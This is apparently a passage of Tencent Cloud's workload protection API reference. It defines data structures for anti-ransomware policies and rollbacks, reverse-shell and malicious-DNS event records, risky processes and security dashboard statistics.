Status	Integer	Event Status: 0-Pending, 1-Processed, 2-Trusted, 3-In Process, 4-Backup Resumed
BaitFilePath	String	Tampered File Path
FilePath	String	Malicious File Path
Pid	Integer	Malicious Process ID
PidParam	String	Malicious Process Parameters
FileSize	Integer	Malicious File Size
FileMd5	String	Malicious File MD5
Type	Integer	Event Type: 0 Encrypted Ransom, 1 File Tampering
CreateTime	String	Event Sending Time
InstanceId	String	CVM Instance ID
ModifyTime	String	Event Modification Event
StrategyId	Integer	Policy ID

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StrategyName	String	Policy name
HostIp	String	Host public IP address
WanIp	String	Host Intranet IP
PsTree	String	Process Tree Base64 Json
ProcessStartTime	String	Process startup time
SnapshotNum	Integer	Number of Snapshot Backups Owned by the Host

RansomDefenseRollbackTask

Anti-ransomware rollback task

Used by actions: DescribeRansomDefenseRollBackTaskList.

Name	Type	Description
Id	Integer	Task ID
Uuid	String	Host UUID
Quuid	String	Host QUUID
MachineName	String	Host name
Status	Integer	Rollback Task Status: 0 - In Progress, 1 - Succeeded, 2 - Failed
Disks	String	Hard drive ID list, separated by semicolons (;)
CreateTime	String	Operation time
BackupTime	String	Snapshot time
ModifyTime	String	Status!=0 indicates the completion time.
RegionInfo	RegionInfo	Availability zone information

RansomDefenseStrategy

The TagList node in the data HostList corresponding to the host list query API

Used by actions: DescribeRansomDefenseStrategyList.

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Name	Type	Description
Id	Integer	Policy ID
Uin	String	Operating UIN Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Policy name
Description	String	Policy Remarks Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Enabling Status: 0 Disabled, 1 Enabled.
IsAll	Integer	Whether it takes effect for all hosts.
IncludeDir	String	Includes directories, separated by semicolons (;). Note: This field may return null, indicating that no valid values can be obtained.
ExcludeDir	String	Includes directories, separated by semicolons (;). Note: This field may return null, indicating that no valid values can be obtained.
BackupType	Integer	Backup pattern: 0 weekly, 1 daily. Note: This field may return null, indicating that no valid values can be obtained.
Weekday	String	Backup days in a week (1-7): 1; 2; 3; 4. Note: This field may return null, indicating that no valid values can be obtained.
Hour	String	Backup Execution Time Point (0-23): 11:00; 12:00
SaveDay	Integer	Storage Days, 0 for Permanent
CreateTime	String	Creation time Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Last modification time Note: This field may return null, indicating that no valid values can be obtained.
MachineCount	Integer	Number of Bound Machines Note: This field may return null, indicating that no valid values can be obtained.

RansomDefenseStrategyDetail

The TagList node in the data HostList corresponding to the host list query API

Used by actions: DescribeRansomDefenseStrategyDetail.

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Name	Type	Description
Id	Integer	Policy ID
Uin	String	Operating UIN Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Policy name
Description	String	Policy Remarks Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Enabling Status: 0 Disabled, 1 Enabled.
IsAll	Integer	Whether it takes effect for all hosts.
IncludeDir	String	Includes directories, separated by semicolons (;). Note: This field may return null, indicating that no valid values can be obtained.
ExcludeDir	String	Includes directories, separated by semicolons (;). Note: This field may return null, indicating that no valid values can be obtained.
BackupType	Integer	Backup pattern: 0 weekly, 1 daily. Note: This field may return null, indicating that no valid values can be obtained.
Weekday	String	Backup days in a week (1-7): 1; 2; 3; 4. Note: This field may return null, indicating that no valid values can be obtained.
Hour	String	Backup Execution Time Point (0-23): 11:00; 12:00
SaveDay	Integer	Storage Days, 0 for Permanent
CreateTime	String	Creation time Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Last modification time Note: This field may return null, indicating that no valid values can be obtained.
MachineCount	Integer	Number of Bound Machines Note: This field may return null, indicating that no valid values can be obtained.
EventCount	Integer	Policy Associated Event Count Note: This field may return null, indicating that no valid values can be obtained.

RansomDefenseStrategyMachineBackupInfo

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Details of Host Backup Bound to Anti-Ransomware Policy

Used by actions: DescribeRansomDefenseMachineList.

Name	Type	Description
Uuid	String	Host UUID
Quuid	String	Host QUUID
MachineName	String	Host name
InstanceId	String	Host Instance ID
MachineIp	String	Private IP address
MachineWanIp	String	Public IP address Note: This field may return null, indicating that no valid values can be obtained.
CloudTags	Array of Tag	Cloud tag Note: This field may return null, indicating that no valid values can be obtained.
RegionInfo	RegionInfo	Availability zone information Note: This field may return null, indicating that no valid values can be obtained.
Tag	Array of MachineTag	CWPP tag Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Protection status: 0 Disabled, 1 Enabled. Note: This field may return null, indicating that no valid values can be obtained.
StrategyId	Integer	Policy ID. 0 indicates no binding to any policy. Note: This field may return null, indicating that no valid values can be obtained.
DiskInfo	String	Hard disk information, all hard disks take effect when left blank: Separate diskId1|diskName1;diskId2|diskName2 Note: This field may return null, indicating that no valid values can be obtained.
StrategyName	String	Policy name Note: This field may return null, indicating that no valid values can be obtained.

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BackupCount	Integer	Number of Backups Note: This field may return null, indicating that no valid values can be obtained.
LastBackupStatus	Integer	Latest Backup Status: 0 - Backing Up, 1 - Normal, 2 - Failed, 9 - No Backup Yet Note: This field may return null, indicating that no valid values can be obtained.
LastBackupMessage	String	Reason for the Last Backup Failure Note: This field may return null, indicating that no valid values can be obtained.
LastBackupTime	String	Last Backup Time Note: This field may return null, indicating that no valid values can be obtained.
RollBackPercent	Integer	Latest Rollback Progress Percentage Note: This field may return null, indicating that no valid values can be obtained.
RollBackStatus	Integer	Latest Rollback Status: 0 - In Progress, 1 - Succeeded, 2 - Failed Note: This field may return null, indicating that no valid values can be obtained.
BackupSuccessCount	Integer	Backup Success Count Note: This field may return null, indicating that no valid values can be obtained.

RansomDefenseStrategyMachineDetail

Anti-Ransomware Host List

Used by actions: DescribeRansomDefenseStrategyMachines.

Name	Type	Description
Uuid	String	Host UUID
Quuid	String	Host QUUID
MachineName	String	Host name
InstanceId	String	Host Instance ID

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MachineIp	String	Private IP address
MachineWanIp	String	Public IP address Note: This field may return null, indicating that no valid values can be obtained.
CloudTags	Array of Tag	Cloud tag Note: This field may return null, indicating that no valid values can be obtained.
RegionInfo	RegionInfo	Availability zone information Note: This field may return null, indicating that no valid values can be obtained.
Tag	Array of MachineTag	CWPP tag Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Protection status: 0 Disabled, 1 Enabled. Note: This field may return null, indicating that no valid values can be obtained.
StrategyId	Integer	Policy ID. 0 indicates no binding to any policy. Note: This field may return null, indicating that no valid values can be obtained.
DiskInfo	String	Hard disk information, all hard disks take effect when left blank: Separate diskId1|diskName1;diskId2|diskName2 Note: This field may return null, indicating that no valid values can be obtained.
HostVersion	Integer	Edition information. 0: Basic Edition; 1: Pro Edition; 2: Ultimate Edition; 3: Inclusive Edition.Note: This field may return null, indicating that no valid values can be obtained.
StrategyName	String	Policy name Note: This field may return null, indicating that no valid values can be obtained.

RansomDefenseStrategyMachineInfo

Anti-Ransomware Machine Hard Disk Configuration

Used by actions: CreateRansomDefenseStrategy.

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Name	Type	Required	Description
Uuid	String	Yes	Host UUID
DiskInfo	String	No	Specified Hard Disk List. When it is empty, it means all hard disks: disk_id1|disk_name1;disk_id2|disk_name2. Note: This field may return null, indicating that no valid values can be obtained.

RecordInfo

Client Exception Information Structure

Used by actions: DescribeClientException.

Name	Type	Description
HostIP	String	Host IP
InstanceID	String	Host Instance ID
OfflineTime	String	Client Offline Time
UninstallTime	String	Client Uninstallation Time
UninstallCmd	String	Client Uninstallation Call Chain
Uuid	String	Client UUID

RegionInfo

Region information

Used by actions: DescribeMachineRegionList, DescribeMachineRegions, DescribeMachines, DescribeMachinesSimple, DescribeRansomDefenseMachineList, DescribeRansomDefenseRollBackTaskList, DescribeRansomDefenseStrategyMachines.

Name	Type	Description
Region	String	Region identifiers, such as ap-guangzhou, ap-shanghai, and ap-beijing
RegionName	String	Chinese name of a region, such as South China (Guangzhou), East China (Shanghai Finance),

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		and North China (Beijing)
RegionId	Integer	Region ID
RegionCode	String	Region code, such as gz, sh, and bj
RegionNameEn	String	English name of the region

RegionListDetail

Details of the region list

Used by actions: DescribeMachineRegionList.

Name	Type	Description
MachineType	String	Machine type CVM, Tencent Cloud Virtual Machine LH, TencentCloud Lighthouse ECM, Tencent Cloud Edge Computing Machine BM, Tencent BM 1.0 Other, Other servers (non-Tencent Cloud) Note: This field may return null, indicating that no valid values can be obtained.
CloudFrom	Integer	0 Tencent Cloud 1 IDC 2 Alibaba Cloud 3 Huawei Cloud 4 Amazon 5 Microsoft 6 Google 7 Oracle 8 Digital Ocean Note: This field may return null, indicating that no valid values can be obtained.
RegionList	Array of RegionInfo	List of regions Note: This field may return null, indicating that no valid values can be obtained.

RegionSet

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Region information

Used by actions: DescribeBanRegions.

Name	Type	Description
RegionName	String	Region name
ZoneSet	Array of ZoneInfo	AZ information

ReverseShell

Reverse Shell data

Used by actions: DescribeReverseShellEvents.

Name	Type	Description
Id	Integer	ID primary key
Uuid	String	CWPP UUID
Quuid	String	Server ID
Hostip	String	Host private IP address
DstIp	String	Target IP
DstPort	Integer	Target port
ProcessName	String	Process name
FullPath	String	Process path
CmdLine	String	Command details
UserName	String	Executing user
UserGroup	String	Executing user group
ParentProcName	String	Parent process name
ParentProcUser	String	Parent process user
ParentProcGroup	String	Parent process user group
ParentProcPath	String	Parent process path

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Status	Integer	Processing status: 0 - pending; 2 - allowlisted; 3 - processed; 4 - ignored
CreateTime	String	Occurrence time
MachineName	String	Server name
ProcTree	String	Process tree
DetectBy	Integer	Detection method: 0: behavior analysis; 1 command feature detection
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.
Pid	Integer	Process ID Note: This field may return null, indicating that no valid values can be obtained.
RiskLevel	Integer	Threat level: 0 - medium-risk; 1 - high-risk Note: This field may return null, indicating that no valid values can be obtained.

ReverseShellEventInfo

Reverse Shell data details

Used by actions: DescribeReverseShellEventInfo.

Name	Type	Description
Id	Integer	ID primary key
Uuid	String	Yunjing UUID
Quuid	String	Host ID
HostIp	String	Host private IP address
DstIp	String	Target IP
DstPort	Integer	Target port
ProcessName	String	Process name

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FullPath	String	Process path
CmdLine	String	Command details
UserName	String	User for execution
UserGroup	String	User group for execution
ParentProcName	String	Parent process name
ParentProcUser	String	Parent process user
ParentProcGroup	String	Parent process user group
ParentProcPath	String	Parent process path
Status	Integer	Processing status: 0: pending; 2: allowlisted; 3: processed; 4: ignored
CreateTime	String	Occurrence time
MachineName	String	Host name
DetectBy	Integer	Detection method
PsTree	String	Process tree json; pid: process ID; exe: file path; account: groups and users to which the process belongs; cmdline: execute commands; ssh_service: ssh service IP, ssh_source: log-in source Note: This field may return null, indicating that no valid values can be obtained.
SuggestScheme	String	Recommended solution
HarmDescribe	String	Description
Tags	Array of String	Tag
References	Array of String	Reference link
MachineWanIp	String	Host public IP address
MachineStatus	String	Host online status: OFFLINE; ONLINE
ModifyTime	String	Processing time

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ReverseShellRule

Reverse Shell rule

Used by actions: DescribeReverseShellRules.

Name	Type	Description
Id	Integer	Rule ID
Uuid	String	Client ID
ProcessName	String	Process name
DestIp	String	Target IP
DestPort	String	Target port
Operator	String	Operator
IsGlobal	Integer	Whether a global rule
Status	Integer	Status (0: valid; 1: invalid)
CreateTime	String	Creation time
ModifyTime	String	Modification time
Hostip	String	Host IP

RiskDnsEvent

Malicious request event

Used by actions: DescribeRiskDnsEventInfo, DescribeRiskDnsEventList.

Name	Type	Description
Id	Integer	Event ID
PolicyId	Integer	Policy ID
PolicyType	Integer	Type of hit policy [-1: unknown|0: system|1: user]
PolicyName	String	Name of hit policy

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ProtectLevel	Integer	Protection level [0: basic edition|1: professional edition|2: ultimate editio
HostId	String	Server ID
HostName	String	Host name
HostIp	String	Host IP
WanIp	String	Public IP address
AgentId	String	Client ID
Domain	String	Access domain name
Tags	Array of String	Tag Features
AccessCount	Integer	Access count
ThreatDesc	String	Threat description
SuggestSolution	String	Fixing solution
ReferenceLink	String	Reference link
HandleStatus	Integer	Processing status [0: pending|2: allowlisted|3: untrusted status|4: proces
Pid	Integer	Process ID
ProcessName	String	Process name
ProcessMd5	String	Process MD5
CmdLine	String	Command line
FirstTime	String	First access time
LastTime	String	Last access Time
HostStatus	String	Host online status [OFFLINE: offline|ONLINE: online|UNKNOWN: unkn
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be ob
OsType	Integer	[1:CentOS|2:Debian|3:Gentoo|4:Redhat|5:Ubuntu|6:Windows|7:Tencen

RiskDnsList

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Malicious request list

Used by actions: DescribeRiskDnsInfo, DescribeRiskDnsList.

Name	Type	Description
Url	String	External access domain name
AccessCount	Integer	Access count
ProcessName	String	Process name
ProcessMd5	String	Process MD5
GlobalRuleId	Integer	Whether the rule is global. 0: no; 1: yes.
UserRuleId	Integer	User rule ID
Status	Integer	Status. 0: pending; 2: added to allowlist; 3: untrusted; 4: processed; 5: ignored.
CreateTime	String	First access time
MergeTime	String	Last access Time
Quuid	String	Unique QUUID
HostIp	String	Host IP
Alias	String	Alias
Description	String	Description
Id	Integer	Unique ID
Reference	String	Reference
CmdLine	String	Command line
Pid	Integer	Process ID
Uuid	String	UUID
SuggestScheme	String	Recommended solution
Tags	Array of String	Tag Features
MachineWanIp	String	Public IP address Note: This field may return null, indicating that no valid values can be

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		obtained.
MachineStatus	String	Host online status. OFFLINE: offline; ONLINE: online; UNKNOWN: unknown. Note: This field may return null, indicating that no valid values can be obtained.

RiskDnsPolicy

Malicious request policy

Used by actions: DescribeRiskDnsPolicyList, ModifyRiskDnsPolicy.

Name	Type	Required	Description
PolicyName	String	Yes	Policy name
PolicyType	Integer	Yes	Policy type [0: system; 1: user]
PolicyAction	Integer	Yes	Policy action [0: alarm; 1: allow; 2:intercept + alarm]
HostScope	Integer	Yes	Host range [1: all Professional + Ultimate Editions|2: all Ultimate Editions|0: partial hosts]
HostIds	Array of String	Yes	Host ID
Domains	Array of String	Yes	Domain name (when used as an input parameter, it needs base64 encode.)
IsEnabled	Integer	Yes	Whether effective [0: effective,1: not effective]
PolicyId	Integer	No	Policy ID
PolicyDesc	String	No	Policy description
IsDealOldEvent	Integer	No	Whether to process previous events [0: no|1: yes]
UpdateTime	String	No	Update time
EventId	Integer	No	Event ID

RiskProcessEvent

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Abnormal Process Event

Used by actions: DescribeRiskProcessEvents.

Name	Type	Description
EventId	Integer	Event ID
HostName	String	Host name
HostIp	String	Host IP
WanIp	String	Public IP address
ProcessId	Integer	Process ID
FilePath	String	File path
CmdLine	String	Executed commands
StartTime	String	Process startup time
DetectTime	String	Last detection time
VirusName	String	Virus name
CheckPlatform	Array of String	Trojan detection platform [1: Cloud search engine |2:TAV | 3: Binary Ai | 4: Abnormal behavior | 5: threat intelligence]
VirusTags	Array of String	Virus tag
ThreatDesc	String	Threat description
SuggestSolution	String	Recommended solution
ReferenceLink	String	Reference link
HandleStatus	Integer	Processing Status [0 Pending; 1 Processed; 2 Scanning; 3 Scanned; 4 Exited; 5 Ignore]
OnlineStatus	Integer	Host Online Status
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host UUID

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RuleInfo

Index Rule

Used by actions: DescribeLogIndex.

Name	Type	Description
FullText	FullTextInfo	Full-text index configurations
KeyValue	KeyValueInfo	Key-value index configurations
Tag	KeyValueInfo	Meta field index configuration

ScanTaskDetails

List of scan task details

Used by actions: DescribeScanTaskDetails.

Name	Type	Description
HostIp	String	Server IP
HostName	String	Server name
OsName	String	Operating system
RiskNum	Integer	Number of risks
ScanBeginTime	String	Scan start time
ScanEndTime	String	Scan end time
Uuid	String	UUID
Quuid	String	QUUID
Status	String	Status code
Description	String	Description
Id	Integer	Unique ID
FailType	Integer	Failure details

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MachineWanIp	String	Public IP address
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

ScreenAttackHotspot

Attack hot spots across the entire network on the large screen

Used by actions: DescribeScreenAttackHotspot.

Name	Type	Description
EventName	String	Event name
SrcIp	String	Attacker IP address
DstIp	String	Victim IP address
Region	String	Region
CreatedTime	String	Time

ScreenBaselineInfo

Large screen baseline information

Used by actions: DescribeScreenHostInvasion.

Name	Type	Description
Name	String	Baseline name Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Hazard level: 1-Low-risk; 2-Medium-risk; 3-High-risk; 4-Critical Note: This field may return null, indicating that no valid values can be obtained.
CategoryId	Integer	Baseline ID Note: This field may return null, indicating that no valid values can be obtained.
LastScanTime	String	Last check time Note: This field may return null, indicating that no valid values can be obtained.

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BaselineFailCount	Integer	Baseline check items with risks Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host UUID Note: This field may return null, indicating that no valid values can be obtained.

ScreenBroadcasts

Visualized security report on the large screen

Used by actions: DescribeScreenBroadcasts.

Name	Type	Description
Title	String	Security report article title
Level	Integer	Severity level of security report article: 0: none; 1: critical; 2: high-risk; 3: medium-risk; 4: low-risk
Time	String	Release time
Id	Integer	Article ID

ScreenDefendAttackLog

Network attack logs on the large screen

Used by actions: DescribeScreenHostInvasion.

Name	Type	Description
Id	Integer	Log ID
Uuid	String	Client ID
SrcIp	String	Source IP
SrcPort	Integer	Source port
HttpMethod	String	Attack method
VulType	String	Threat type
CreatedTime	String	Attack time

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DstPort	Integer	Target port
Quuid	String	Host quuid
DstIp	String	Target IP

ScreenEmergentMsg

Visualized emergency notification on the large screen

Used by actions: DescribeScreenEmergentMsg.

Name	Type	Description
Title	String	Notification tag/title
Text	String	Notification content
Type	Integer	Redirection type: 0=vulnerability management

ScreenEventsCnt

Intrusion detection statistics

Used by actions: DescribeScreenEventsCnt.

Name	Type	Description
Title	String	Displayed content: Total number of pending risks and total number of affected assets
Total	Integer	Total number of events
Category	Array of ScreenNameValue	name: Specific type of the displayed content, including attack event, potential risk, compromised asset, and potentially risky asset Value: event count after statistics

ScreenInvasion

Details of large screen intrusion event

Used by actions: DescribeScreenHostInvasion.

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Name	Type	Description
CreatedTime	String	Intrusion time
EventType	Integer	Event type. 0: virus scanning; 1: abnormal log-in; 2: password cracking; 3: malicious request; 4: high-risk command; 5: local privilege escalation; 6: reverse shell.
Content	String	JSON file of the event data, which varies by event. [Virus scanning] Virus name: VirusName, file name: FileName, file path: FilePath, file size: FileSize, file MD5: MD5, first detection time: CreateTime, last detection time: LatestScanTime, severity description: HarmDescribe, fixing suggestion: SuggestScheme [Abnormal log-in] Source IP: SrcIp, location: Location, log-in username: UserName, log-in time: LoginTime [Password cracking]Source IP: SrcIp, location: City and Country, protocol: Protocol, log-in username: UserName, port: Port, attempt count: Count, first attack time: CreateTime, last attack time: ModifyTime [Malicious request] Malicious request domain name: Url, process: ProcessName, MD5: ProcessMd5, PID: Pid, request count: AccessCount, last request time: MergeTime, severity description: HarmDescribe, fixing suggestion: SuggestScheme [High-risk command] Hit rule name: RuleName, rule category: RuleCategory, command content: BashCmd, data source: DetectBy, Log-in user: User, PID: Pid, occurrence time: CreateTime, severity description: HarmDescribe, fixing suggestion: SuggestScheme [Local privilege escalation] Privilege escalation user: UserName, parent process: ParentProcName, user of parent process: ParentProcGroup, Detection time: CreateTime, severity description: HarmDescribe, fixing suggestion: SuggestScheme [Reverse shell] Connected process: ProcessName, executed command: CmdLine, parent process: ParentProcName, target host: DstIp, target port: DstPort, detection time: CreateTime, severity description: HarmDescribe, fixing suggestion: SuggestScheme
Level	Integer	Unified event risk level. 0: prompt; 1: low; 2: medium; 3: high; 4: critical.
LevelZh	String	Level in Chinese
Id	Integer	Event ID
Uuid	String	Host UUID

ScreenMachine

Data of listed hosts on the large screen

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Used by actions: DescribeScreenMachines.

Name	Type	Description
MachineName	String	Host name.
MachineOs	String	Host System.
Uuid	String	Yunjing client UUID. If the client is offline for a long time, an empty string is returned.
MachineStatus	Integer	Status of a host on the large screen. 0: agent not installed; 1: offline; 2: offline - risky; 3: offline - critical; 4: device installed - normal; 5: device installed - normal and of either Pro Edition or Ultimate Edition; 6: device installed - risky (network attack events > 0); 7: device installed - risky (network attack events > 0) and of either Pro Edition or Ultimate Edition; 8: device installed - critical (intrusion detection events > 0); 9: device installed - critical (intrusion detection events > 0) and of either Pro Edition or Ultimate Edition
Quuid	String	CVM or BM Machine Unique UUID.
VulNum	Integer	Number of vulnerabilities
MachineIp	String	Host IP.
MachineWanIp	String	Public IP address of the host
BaselineNum	Integer	Number of baseline risks
CyberAttackNum	Integer	Number of network risks
SecurityStatus	String	Risk status • SAFE: Safe • RISK: Risk • UNKNOWN: Unknown
InvasionNum	Integer	Number of intrusion events
MachineType	String	Machine Zone Type. CVM - Cloud Virtual Machine; BM: Bare Metal; ECM: Edge Computing Machine; LH: Lightweight Application Server; Other: Hybrid Cloud Zone
CpuLoad	String	CPU load status
CpuSize	Float	Number of CPU cores

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DiskLoad	String	Hard disk utilization (%)
DiskSize	Float	Hard disk capacity (GB)
MemLoad	String	Memory utilization (%)
MemSize	Float	Memory capacity (GB)
CoreVersion	String	Kernel version
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

ScreenNameValue

[Cloud security alarm] Visualized data Name Value Data on the large screen

Used by actions: DescribeScreenEventsCnt, DescribeScreenGeneralStat, DescribeScreenRiskAssetsTop.

Name	Type	Description
Name	String	Statistics type: Different APIs correspond to different content
Value	Integer	Statistics quantity

ScreenProtection

Visualized attack and defense status on large screen

Used by actions: DescribeScreenProtectionStat.

Name	Type	Description
Name	String	Type value: virus scanning, brute force cracking, vulnerability scan, baseline check
Status	Integer	Virus scanning: 0: never scanned or asset not paid; 1: scanned and malicious files found; 2: scanned but isolation protection disabled; 3: scanned, protection enabled, and no risk found. Brute force cracking: 0: protection disabled (asset not paid); 1: automatic blocking enabled. Vulnerability scan: 0: never scanned or asset not paid; 1: vulnerability found; 2: no risk found.

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		Baseline check: 0: never checked or asset not paid; 1: baseline risks found; 2: no risk found.

ScreenProtectionCnt

CWPP security trend data

Used by actions: DescribeScreenProtectionCnt.

Name	Type	Description
Type	String	cloud: Cloud Security Engine; detect: detection engine; defend: attack defense; threat: threat intelligence; analysis: abnormal analysis; ai: AI engine
Name	String	cloud: Cloud Security Engine; detect: detection engine; defend: attack defense; threat: threat intelligence; analysis: abnormal analysis; ai: AI engine
Count	Integer	Total number

ScreenRegionInfo

Region information

Used by actions: DescribeScreenMachineRegions.

Name	Type	Description
Region	String	Region identifiers, such as ap-guangzhou, ap-shanghai, and ap-beijing
RegionName	String	Chinese name of region, such as South China (Guangzhou), East China (Shanghai Finance), and North China (Beijing)
RegionId	Integer	Region ID
RegionCode	String	Region code, such as gz, sh, and bj
RegionNameEn	String	English name of the region

ScreenRegionMachines

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3D image of the host on the large screen

Used by actions: DescribeScreenMachines.

Name	Type	Description
Region	String	All regions
RegionName	String	Region description in Chinese
Machines	Array of ScreenMachine	Host list
TotalCount	Integer	Total number of hosts in this region
RiskCnt	Integer	Number of risky hosts
AttackCnt	Integer	Number of potentially risky hosts
SafetyCnt	Integer	Number of risk-free hosts
UnAgentOfflineCnt	Integer	Number of hosts in offline/uninstalled status
IgnoreCnt	Integer	Number of hosts that are omitted from displaying. When it is equal to 0, no hosts are omitted.

ScreenTrendsChart

Attack and defense trend chart on the large screen

Used by actions: DescribeScreenDefenseTrends.

Name	Type	Description
X	String	Time on the X-axis
Y	Integer	Numerical value on the Y-axis
Type	String	Statistical type: defense count, attack count

ScreenVulInfo

Vulnerability list on big screen

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Used by actions: DescribeScreenHostInvasion.

Name	Type	Description
Id	Integer	Vulnerability Event ID
Name	String	Vulnerability name
VulId	Integer	Vulnerability ID
LastTime	String	Last detection Time
Level	Integer	Vulnerability level 1: low-risk; 2: medium-risk; 3: high-risk; 4: prompt
Category	Integer	Vulnerability type: 1 - web-cms vulnerabilities; 2 - application vulnerabilities; 4 - Linux software vulnerabilities; 5 - Windows system vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host UUID Note: This field may return null, indicating that no valid values can be obtained.

SearchTemplate

Quick search template

Used by actions: CreateSearchTemplate, DescribeSearchTemplates.

Name	Type	Required	Description
Name	String	Yes	Name for search
LogType	String	Yes	Index type for search
Condition	String	Yes	Statement for search
TimeRange	String	Yes	Time range
Query	String	Yes	Converted search statement content
Flag	String	Yes	Search method. Input box: standard filtering. Search: simple.
DisplayData	String	Yes	Displayed data
Id	Integer	No	Rule ID

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SecurityButlerInfo

List of security manager information

Used by actions: DescribeExpertServiceList.

Name	Type	Description
Id	Integer	Data ID
OrderId	Integer	Order ID
Quuid	String	cvm id
Status	Integer	Service status. 0: in service; 1: expired; 2: terminated.
StartTime	String	Service start time
EndTime	String	Service end time
HostName	String	Host name
HostIp	String	Host IP address
Uuid	String	Host UUID
RiskCount	Integer	Number of host risks

SecurityDynamic

Security event message data

Used by actions: DescribeSecurityDynamics.

Name	Type	Description
Uuid	String	CWPP client UUID
EventTime	Timestamp	Security event occurrence time
EventType	String	Security event type • MALWARE: Trojan event • NON_LOCAL_LOGIN: cross-region log-in • BRUTEATTACK_SUCCESS: successful password cracking • VUL: vulnerability • BASELINE: security baseline

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Message	String	Security event message
SecurityLevel	String	Security event level • RISK: critical • HIGH: high-risk • NORMAL: medium-risk • LOW: low-risk • UNKNOWNED: suspicious

SecurityEventInfo

List of security event statistics

Used by actions: DescribeSecurityEventsCnt.

Name	Type	Description
EventCnt	Integer	Number of security events
UuidCnt	Integer	Number of affected machines

SecurityTrend

Security trend statistics

Used by actions: DescribeSecurityTrends.

Name	Type	Description
Date	Date	Event time
EventNum	Integer	Number of events

StandardModeConfig

Blocking configuration in the standard mode

Used by actions: DescribeBanMode.

Name	Type	Description

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Ttl	Integer	Blocking duration (unit: second)

Strategy

Baseline security user policy information

Used by actions: DescribeBaselineStrategyList.

Name	Type	Description
StrategyName	String	Policy name Note: This field may return null, indicating that no valid values can be obtained.
StrategyId	Integer	Policy ID Note: This field may return null, indicating that no valid values can be obtained.
RuleCount	Integer	Total number of baseline detection items Note: This field may return null, indicating that no valid values can be obtained.
HostCount	Integer	Number of Hosts Note: This field may return null, indicating that no valid values can be obtained.
ScanCycle	Integer	Scan cycle Note: This field may return null, indicating that no valid values can be obtained.
ScanAt	String	Scan time Note: This field may return null, indicating that no valid values can be obtained.
Enabled	Integer	Available or not? Note: This field may return null, indicating that no valid values can be obtained.
PassRate	Integer	Pass rate Note: This field may return null, indicating that no valid values can be obtained.
CategoryIds	String	Baseline ID Note: This field may return null, indicating that no valid values can be obtained.
IsDefault	Integer	Whether a default policy Note: This field may return null, indicating that no valid values can be obtained.

Tag

Tag information

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Used by actions: DescribeRansomDefenseMachineList, DescribeRansomDefenseStrategyMachines, DescribeTags.

Name	Type	Description
Id	Integer	Tag ID
Name	String	Tag name
Count	Integer	Number of servers

TagMachine

Information on tag-related servers

Used by actions: DescribeTagMachines.

Name	Type	Description
Id	String	ID
Quuid	String	Host ID
MachineName	String	Host name
MachineIp	String	Host private IP address
MachineWanIp	String	Host public IP address
MachineRegion	String	Host region
MachineType	String	Host region type

Tags

Platform tag

Used by actions: CreateLicenseOrder, DescribeHostInfo, DescribeLicenseList, DescribeMachines, DescribeMachinesSimple, DescribeVulEffectHostList, ExportLicenseDetail.

Name	Type	Required	Description
TagKey	String	Yes	Tag key
TagValue	String	Yes	Tag value

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TaskStatus

Scan status list

Used by actions: DescribeScanTaskStatus.

Name	Type	Description
Scanning	String	Scanning (including initializing)
Ok	String	Scan terminated (including terminating)
Fail	String	Scan failed
Stop	String	Scan failed, with specific reason displayed: scan timeout, low client version, or client offline Note: This field may return null, indicating that no valid values can be obtained.

TopInfo

Statistics data of top network attacks

Used by actions: DescribeAttackTop.

Name	Type	Description
Value	String	Top statistical data, such as IP, and vulnerability name
Count	Integer	Top statistical count

UpdateHostLoginWhiteObj

Edit allowlisted entities

Used by actions: ModifyLoginWhiteInfo.

Name	Type	Required	Description
Places	Array of Place	Yes	Region information array
SrcIp	String	Yes	Source IP

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UserName	String	Yes	Username
Remark	String	Yes	Remarks
Id	Integer	Yes	Data ID to be updated
StartTime	String	No	Start time
EndTime	String	No	End time

UsualPlace

Frequently used log-in location

Used by actions: DescribeUsualLoginPlaces.

Name	Type	Description
Id	Integer	ID
Uuid	String	CWPP client UUID
CountryId	Integer	Country ID
ProvinceId	Integer	Province ID
CityId	Integer	City ID

ValueInfo

Index value description

Used by actions: DescribeLogIndex.

Name	Type	Description
Tokenizer	String	Field delimiter
Type	String	Field type
SqlFlag	Boolean	Whether the analysis feature is enabled for the field
ContainZH	Boolean	Whether Chinese characters are contained

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VersionWhiteConfig

Allowlist configuration of the authorized edition

Used by actions: DescribeLicenseWhiteConfig.

Name	Type	Description
Deadline	Integer	Number of days before expiration
LicenseNum	Integer	Number of authorizations
IsApplyFor	Boolean	Whether application can be made
SourceType	Integer	Type

VertexDetail

Detailed node information

Used by actions: DescribeVertexDetail.

Name	Type	Description
Type	Integer	Node type. process - 1; network - 2; file - 3; SSH - 4 Note: This field may return null, indicating that no valid values can be obtained.
Time	String	Time used for each node type, which is in the format of 2022-11-29 00:00:00. Note: This field may return null, indicating that no valid values can be obtained.
AlarmInfo	Array of AlarmInfo	Alarm information Note: This field may return null, indicating that no valid values can be obtained.
ProcName	String	Process name, which is effective when the node type is process. Note: This field may return null, indicating that no valid values can be obtained.
CmdLine	String	Command line, which is effective when the node type is process. Note: This field may return null, indicating that no valid values can be obtained.

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Pid	String	Process ID, which is effective when the node type is process. Note: This field may return null, indicating that no valid values can be obtained.
FileMd5	String	File MD5, which is effective when the node type is file. Note: This field may return null, indicating that no valid values can be obtained.
FileContent	String	Content written to the file, which is effective when the node type is file. Note: This field may return null, indicating that no valid values can be obtained.
FilePath	String	File path, which is effective when the node type is file. Note: This field may return null, indicating that no valid values can be obtained.
FileCreateTime	String	File creation time, which is effective when the node type is file. Note: This field may return null, indicating that no valid values can be obtained.
